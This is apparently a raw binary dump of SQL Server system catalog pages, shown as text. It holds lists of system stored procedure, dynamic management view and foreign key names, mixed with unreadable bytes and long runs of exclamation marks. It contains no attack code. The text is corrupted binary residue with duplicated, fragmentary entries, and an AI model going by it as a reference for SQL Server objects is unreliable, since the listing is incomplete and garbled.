f[t i&[E2sp_help_jobsteplog&Fsp_help_log_shipping_monitor&Xsp_help_log_shipping_primary_database&;>sp_help_maintenance_plan&vIx6sp_help_notification&p.sp_help_operator&ݜq8sp_help_operator_jobs&Hsp_help_peerconflictdetection&vO|(sp_help_proxy&4wK.sp_help_schedule&w!Tsp_help_spatial_geography_histogram&Rsp_help_spatial_geometry_histogram&7
Jsp_help_spatial_geometry_index&ǏSRsp_help_spatial_geometry_index_xml&me
+6sp_help_targetserver&Ci#@sp_help_targetservergroup&|Hsp_helpallowmerge_publication&!*sp_helparticle&0sp_helparticledts&0sp_helpconstraint&q6sp_helpdistpublisher&̲Bsp_helpdynamicsnapshot_job&*]$sp_helpfile&wX,sp_helplanguage&/Fsp_helpmergearticleconflicts&^8sp_helpmergepartition&>sp_helpmergesubscription&O*sp_helpntgroup&
z4sp_helppeerrequests&w1<sp_helpreplfailovermode&ZgLsp_help_spatial_geography_index&\Tsp_help_spatial_geography_index_xml&2sp_helpdatatypemap&Dsp_helppublication_snapshot&
V6sp_helpreplicationdb&DZsp_help_log_shipping_primary_secondary&oFsp_helpmergelogfileswithdata&=(sp_helplogins&&sp_helpindex&lo2(sp_helpdevice&Q<sp_helpmergepublication&8sp_helpdistributiondb&2<sp_helppullsubscription&96sp_helpqreader_agent&48sp_helplinkedsrvlogin&Bsp_help_publication_access&$Vsp_help_log_shipping_monitor_primary&.sp_helpfilegroup&3Fsp_helpmergepullsubscription&Ժ:sp_helppublicationsync&H\sp_help_log_shipping_secondary_database&,ca2sp_helpdistributor&k)Hsp_helpdistributor_properties&s2sp_helpdbfixedrole&T4sp_helpextendedproc&;d:sp_helplogreader_agent&qJ<sp_helpmergelogsettings& Jsp_help_log_shipping_alert_job&:@sp_helpmergearticlecolumn&2sp_helppublication&cZ^2sp_helpremotelogin&:Pj>sp_helpmergeconflictrows&%6sp_helpmergelogfiles&V,4sp_helpmergearticle&Jsp_helpmergealternatepublisher&Zsp_help_log_shipping_monitor_secondary&MZsp_help_log_shipping_secondary_primary& sp_helpdb&k2sp_helpmergefilter&]8sp_helparticlecolumns&26sp_helppeerresponses&jJsp_helpmergedeleteconflictrows?dE8sp_indexes_100_rowset&Dsp_helppublication_snapshot&
V6sp_helpreplicationdb&.sp_linkedservers&>sp_helpreplicationoption&DZsp_help_log_shipping_primary_secondary&~>sp_linkedservers_rowset2&)X8sp_ivindexhasnullcols&6udsp_lightweightmergemetadataretentioncleanup&oFsp_helpmergelogfileswithdata&=(sp_helplogins&AHsp_logshippinginstallmetadata&8$sp_helpuser&&sp_helpindex&lo2(sp_helpdevice&Q<sp_helpmergepublication&8sp_helpdistributiondb&cQ*sp_helptrigger&2<sp_helppullsubscription&96sp_helpqreader_agent&48sp_helplinkedsrvlogin&Bsp_help_publication_access&	zfsp_http_generate_wsdl_defaultcomplexorsimple&$Vsp_help_log_shipping_monitor_primary&.sp_helpfilegroup&3Fsp_helpmergepullsubscription&^sp_lock&Ժ:sp_helppublicationsync&=[8sp_indexes_90_rowset2&H\sp_help_log_shipping_secondary_database&82sp_IHScriptSchFile&,ca2sp_helpdistributor&k)Hsp_helpdistributor_properties&s2sp_helpdbfixedrole&8sp_invalidate_textptr&K<sp_lookupcustomresolver&Dsp_IHget_loopback_detection&T4sp_helpextendedproc&;d:sp_helplogreader_agent&qJ<sp_helpmergelogsettings& Jsp_help_log_shipping_alert_job&Bsp_helpreplicationdboption&:@sp_helpmergearticlecolumn&j>sp_indexes_90_rowset_rmt&B*sp_indexoption&2sp_indexes_rowset2&*RHsp_http_generate_wsdl_complex&2sp_helppublication&8sp_IHadd_sync_command&u8sp_helpsubscriberinfo&cZ^2sp_helpremotelogin&:Pj>sp_helpmergeconflictrows&%6sp_helpmergelogfiles&j+Fsp_http_generate_wsdl_simple&V,4sp_helpmergearticle&Jsp_helpmergealternatepublisher&ȯ:sp_indexes_100_rowset2&7o/2sp_IHScriptIdxFile&Zsp_help_log_shipping_monitor_secondaryD


		&	h(lR$Dfb
&
"Rx	@
|*^R
<	
d	h
hr	2	\` NPz
R
n0
`
Hl"4[AO&M,sp_RunMailQuery&5CNsp_script_reconciliation_insproc&sq5Psp_script_reconciliation_sinsproc&2Psp_script_reconciliation_vdelproc&@.sp_scriptdelproc&E.sp_scriptinsproc&W80sp_scriptvdelproc&U{g0sp_scriptvupdproc&{0sp_scriptxdelproc&0sp_scriptxupdproc&Zl|2sp_sem_add_message&}4sp_sem_drop_message&_*sp_send_dbmail&y2sp_SendMailMessage&=z0sp_SendMailQueues&9U8sp_server_diagnostics&Nc0sp_set_local_time&Bsp_set_sqlagent_properties&NFsp_setdefaultdatatypemapping&O(sp_setnetname&VeD6sp_SetOBDCertificate&yDsp_setsubscriptionxactseqno&1T0sp_setuserbylogin&
$sp_showcolv&>,sp_showmemo_xml&?`8sp_showpendingchanges&I=8sp_showrowreplicainfo&2sp_special_columns&P;8sp_special_columns_90&*06sp_sproc_columns_100&vfaHsp_sqlagent_check_msx_version&0)Hsp_sqlagent_get_perf_counters&Fsp_sqlagent_get_startup_info&Hsp_sqlagent_has_server_access&.gz8sp_sqlagent_is_member&f{nFsp_sqlagent_is_srvrolemember&Qr`Bsp_sqlagent_log_jobhistory&iM2sp_sqlagent_notify&WZb8sp_sqlagent_probe_msx&s	^<sp_sqlagent_refresh_job&Fsp_sqlagent_update_agent_xps&+6sp_srvrolepermission&x}0sp_ssis_addfolder&wZu4sp_ssis_addlogentry&?||4sp_ssis_checkexists&[x6sp_ssis_deletefolder&"w8sp_ssis_deletepackage&3z0sp_ssis_getfolder&y2sp_ssis_getpackage&#
u<sp_ssis_getpackageroles&v4sp_ssis_listfolders&~u6sp_ssis_listpackages&X{2sp_ssis_putpackage&Č~6sp_ssis_renamefolder&<sp_ssis_setpackageroles&0X&sp_start_job&:sp_start_user_instance&Tsp_startmergepullsubscription_agent&Tsp_startmergepushsubscription_agent&VTY$sp_stop_job&.Rsp_stopmergepushsubscription_agent&Hsp_stoppushsubscription_agent&dPsp_syscollector_cleanup_collector&_)Vsp_syscollector_configure_sql_dumper&//Zsp_syscollector_create_collection_item&{rXXsp_syscollector_create_collection_set&m$Xsp_syscollector_create_collector_type&GJ:sp_special_columns_100&DzHsp_stoppullsubscription_agent&Fh0sp_statistics_100&?uDsp_stoppublication_snapshot&"*sp_showlineage&t<sp_scriptdynamicupdproc&:6sp_stored_procedures&Psp_script_reconciliation_xdelproc&,WRsp_stopmergepullsubscription_agent&Q)*sp_server_info&^Jsp_startpullsubscription_agent&2_Dsp_script_synctran_commands&0sp_scriptsupdproc&Bg"sp_sqlexec&_/&sp_subscribe&2sp_schemata_rowset&=yx2sp_settriggerorder&뇝:sp_scriptmappedupdproc&Fsp_startpublication_snapshot&tK8sp_sequence_get_range&-(sp_setapprole&/.sp_scriptupdproc&_(sp_statistics&*Lsp_scriptpublicationcustomprocs&B)8sp_statistics_rowset2&
r?,sp_schemafilter&,m0sp_scriptsinsproc&ҩBsp_setOraclepackageversion&/)O4sp_sproc_columns_90&4:sp_setreplfailovermode&mZUJsp_startpushsubscription_agent&n:sp_subscriptionsummary&}Q<sp_subscription_cleanup&Fsp_sparse_columns_100_rowset&]rNsp_script_reconciliation_delproc&Jsp_SetAutoSAPasswordAndDisable&t#c,sp_serveroption&s&sp_spaceused&="6sp_statistics_rowset&aL@sp_scriptsubconflicttable&.sp_sproc_columns!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z"r".

d
PT`0
\ N

x
B

		t	.	F:t<
 *nJh&x2RX&f6zzzd*f6T`
8O"d
\"T@W&M:dm_server_memory_dumps&T2dm_server_registry&
Ddm_sql_referencing_entities&36dm_tran_commit_table&)>dm_tran_current_snapshot&Ddm_tran_current_transaction&Jdm_tran_top_version_generators&*W.dm_xe_map_values&Be6dm_xe_session_events&U-Fdm_xe_session_object_columns&C8dm_xe_session_targets&`n*dm_xe_sessions&A2DOMAIN_CONSTRAINTS&NDOMAINS&SJevent_notification_event_types&˿wFEventNotificationErrorsQueue&W0ExternalMailQueue&u\{Lfilestream_tombstone_2073058421&x}Ffiletable_updates_2105058535&Ǐ<GJFK__backupfil__backu__473C8FC7&rJJFK__backupfil__backu__4A18FC72&8@JFK__backupmed__media__408F9238&#`DJFK__backupset__media__4460231C&;dOZJFK__log_shipp__prima__5A4F643B&NJFK__restorefi__resto__4EDDB18F&PJFK__restorefi__resto__50C5FA01&iLJFK__restorehi__backu__4CF5691D&(JFK__sysdbmain__plan___28B808A7&Ru+JFK__sysdbmain__plan___2B947552&JJFK__sysjobact__job_i__4AB81AF0&IJFK__sysjobact__sessi__49C3F6B7&^YJFK__sysjobsch__job_i__59FA5E80&G:YJFK__sysjobsch__sched__59063A47&FpPJFK__sysjobste__step___5070F446&y	JFK__sysmail_p__accou__1209AD79&JFK__sysmail_p__profi__078C1F06&;JFK__sysmail_s__accou__1C873BEC&%`{JFK__sysmail_s__serve__1D7B6025&.-mJFK__sysmanage__serve__6D2D2E85&jJFK__syspolicy__histo__6A1BB7B0&Nc}JFK__syspolicy__manag__7D63964E&^JFK__syspolicy__polic__5EAA0504&zbJFK__syspolicy__polic__627A95E8&S>>FK_mailitems_mailitem_id&?
\Bfk_MSdbms_datatype_dbms_id&^KK*dfk_MSdbms_datatype_mapping_dest_datatype_id&%'W)Pfk_MSdbms_datatype_mapping_map_id&o?+`fk_MSdbms_map_default_datatype_mapping_id&Bfk_MSdbms_map_dest_dbms_id&$ Hfk_MSdbms_map_src_datatype_id&@fk_MSdbms_map_src_dbms_id&'0FK_subplan_job_id&2
8FK_subplan_msx_job_id&k:FK_subplan_schedule_id&Fk*FK_syscollector_collection_items_internal_syscollector_collection_sets_internal&(k_+FK_syscollector_collection_items_internal_syscollector_collector_types_internal&P|Hdm_tran_database_transactions&EBdm_sql_referenced_entities&]G:dm_tcp_listener_states&_6Hdm_tran_transactions_snapshot&"Vhdm_tran_active_snapshot_database_transactions&2dm_server_services&46Ddm_tran_active_transactions&Fdm_tran_session_transactions&V`1(dm_tran_locks&Ddm_xe_session_event_actions&c*dm_xe_packages&v8dm_tran_version_store&
(dm_xe_objects&Y6dm_xe_object_columns&Nfiletable_system_defined_objects&"filetables&?4extended_properties&K"filegroups&bevents&c4event_notifications&|4extended_procedures&4endpoint_webmethods& endpoints!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Zt<

B
.d

<
		^		6Xz0Rxb,v(BlPv@^,6FNz`N
S["[KO&NRdm_cryptographic_provider_sessions&ZDdm_database_encryption_keys&5Ldm_db_database_page_allocations&$(Hdm_db_index_operational_stats&j8dm_db_log_space_usage&"Ndm_db_mirroring_auto_page_repair&fDdm_db_mirroring_connections&IFdm_db_mirroring_past_actions&&Ddm_db_missing_index_columns&WQ)Ddm_db_missing_index_details&vBdm_db_missing_index_groups&Nvdm_db_objects_disabled_on_compatibility_level_change&|8dm_db_partition_stats&Be@dm_db_session_space_usage&:dm_db_task_space_usage&{Bdm_db_uncontained_entities&U}Fdm_exec_background_job_queue&Rdm_exec_background_job_queue_stats&8cXdm_exec_cached_plan_dependent_objects&\6dm_exec_cached_plans&u4dm_exec_connections&,dm_exec_cursors&Pdm_exec_describe_first_result_set&Vȼfdm_exec_describe_first_result_set_for_object&xDdm_exec_query_memory_grants&UpTFdm_exec_query_optimizer_info&@	.dm_exec_requests&	0.dm_exec_sessions&]P<dm_exec_text_query_plan& 4dm_exec_xml_handles&KHdm_filestream_file_io_handles&g*Jdm_filestream_file_io_requests&3\Vdm_filestream_non_transacted_handles&v:dm_fts_active_catalogs&W*dm_fts_fdhosts&8dm_fts_index_keywords&k<dm_fts_index_population&G8dm_fts_memory_buffers& EBdm_fts_outstanding_batches&I<$(dm_fts_parser&v>dm_hadr_auto_page_repair&IPdm_hadr_availability_group_states&Z)bdm_hadr_availability_replica_cluster_nodes&Íddm_hadr_availability_replica_cluster_states&Tdm_hadr_availability_replica_states&O,dm_hadr_cluster&<dm_hadr_cluster_members&"B>dm_hadr_cluster_networks&o)@dm_hadr_instance_node_map&<4dm_hadr_name_id_map&LSU@dm_io_pending_io_requests&D>dm_io_virtual_file_stats&~>Jdm_logconsumer_cachebufferrefs&)`6dm_logpool_consumers&:dm_logpool_hashentries&<dm_logpoolmgr_freepools&W4dm_logpoolmgr_stats&18dm_os_child_instances&m>dm_os_cluster_properties&oj:dm_os_dispatcher_pools&0dm_os_dispatchers&\2dm_exec_query_plan&nw4dm_exec_query_stats&~Xdm_fts_semantic_similarity_population&UzFdm_db_persisted_sku_features&c@dm_logpoolmgr_respoolsize&g<dm_db_index_usage_stats&+QBdm_db_index_physical_stats&qH>dm_os_buffer_descriptors&|Pdm_fts_index_keywords_by_document&GHdm_logpool_sharedcachebuffers&#st:dm_db_file_space_usage&V.dm_exec_sql_text&ZPdm_fts_index_keywords_by_property&	p8dm_exec_trigger_stats&2dm_io_backup_tapes&=Ldm_hadr_database_replica_states&D
14dm_fts_memory_pools&NN<dm_exec_procedure_stats&j\dm_hadr_database_replica_cluster_states&
$Rdm_exec_query_transformation_stats&{iPdm_exec_query_resource_semaphores&Ldm_db_missing_index_group_stats&'>dm_fts_population_ranges&y9Rdm_logconsumer_privatecachebuffers&Vu2dm_db_script_level&ZGDdm_io_cluster_shared_drives&O3Jdm_db_fts_index_physical_stats&J<dm_exec_plan_attributes&-.dm_logpool_stats&4dm_os_cluster_nodes!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!d,X\L


P

jP
r
X
 
			H	`,\>0N
FT(fR\d"TPB`R
]"z[t4!W&`sp_MSchange_distribution_agent_properties&Zsp_MSchange_logreader_agent_properties&Fsp_MSchange_mergepublication&&6sp_MSchange_priority&m<sp_MSchange_publication&Psp_MSchange_retention_period_unit&ep\sp_MSchangedynsnaplocationatdistributor&le@sp_MScheck_Jet_Subscriber&hTsp_MScheck_merge_subscription_count&s<sp_MScheck_subscription&@sp_MScheck_tran_retention&,Bsp_MScheckexistsgeneration&&<sp_MScheckexistsrecguid&j8VFsp_MScheckfailedprevioussync&<sp_MScheckidentityrange&$9Tsp_MSchecksharedagentforpublication&ݘu>sp_MSchecksnapshotstatus&S8sp_MScleanup_conflict&VLsp_MScleanup_publication_ADinfo&7^sp_MScleanup_subscription_distside_entry&\Psp_MScleanupdynamicsnapshotfolder&pBsp_MScleanupdynsnapshotvws&@sp_MSCleanupForPullReinit&Kp`sp_MSclearresetpartialsnapshotprogressbit&#ZZsp_MScomputemergearticlescreationorder&Lsp_MScomputemergeunresolvedrefs&9W>sp_MSconflicttableexists&yRsp_MScreate_all_article_repl_views&sJsp_MScreate_article_repl_views&LNsp_MScreate_logical_record_views&:sp_MScreate_sub_tables&(W3Fsp_MScreatedisabledmltrigger&`>sp_MScreateglobalreplica&INsp_MScreatelightweightupdateproc&ooLsp_MScreatemergedynamicsnapshot&.sp_MScreateretry&`d,sp_MSdbuserpriv&Bsp_MSdelete_tracer_history&@sp_MSdeletefoldercontents&wNsp_MSdeletemetadataactionrequest&8ZBsp_MSdeletepeerconflictrow&LfZ.sp_MSdeleteretry&IɠBsp_MSdeletetranconflictrow&C0sp_MSdelrowsbatch&ZiSJsp_MSdelrowsbatch_downloadonly&
,sp_MSdelsubrows&_6sp_MSdelsubrowsbatch&0sp_MSdependencies&
Jsp_MSdetect_nonlogged_shutdown&	^Tsp_MSdetectinvalidpeerconfiguration&mqRsp_MSdetectinvalidpeersubscription&>'Psp_MSdodatabasesnapshotinitiation&H^sp_MSdopartialdatabasesnapshotinitiation&Ei>sp_MSdrop_6x_publication&
U8Jsp_MSdrop_6x_replication_agent&@sp_MSdrop_anonymous_entry&P0sp_MSdrop_article&J
Bsp_MScreatedummygeneration&?Psp_MSchange_subscription_dts_info&[{Zsp_MScheck_logicalrecord_metadatamatch&,@sp_MScheck_agent_instance&bsp_MSchangedynamicsnapshotjobatdistributor&W\@sp_MSdist_adjust_identity&oPTsp_MScleanupmergepublisher_internal&1{Bsp_MSchangearticleresolver&y/Bsp_MSdistribution_counters&<<sp_MScomputelastsentgen&7g<sp_MScreate_dist_tables&Rsp_MSchange_merge_agent_properties&X>sp_MScleanup_agent_entry&u<sp_MScheck_pub_identity&h޲.sp_MSdefer_check&T.:sp_MScheck_pull_access&:sp_MSchangeobjectowner&{Jsp_MScheck_subscription_expiry&>sp_MSchange_originatorid&.,sp_MSdelgenzero&2Wjsp_MScreatelightweightprocstriggersconstraints&.Dsp_MSdist_activate_auto_sub&,0sp_MSdbuseraccess&768sp_MSchange_retention&Vsp_MSclear_dynamic_snapshot_location&PPsp_MScheck_subscription_partition&0Lsp_MScreate_tempgenhistorytable&Zsp_MScreatelightweightmultipurposeproc&6sp_MScheckIsPubOfSub&0Nsp_MScreatelightweightinsertproc&.K>sp_MSchange_mergearticle&.$sp_MSdelrow&߮@sp_MSdistributoravailable&@sp_MScheck_snapshot_agent&Xsp_MSchange_snapshot_agent_properties&oBsp_MSdistpublisher_cleanup!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!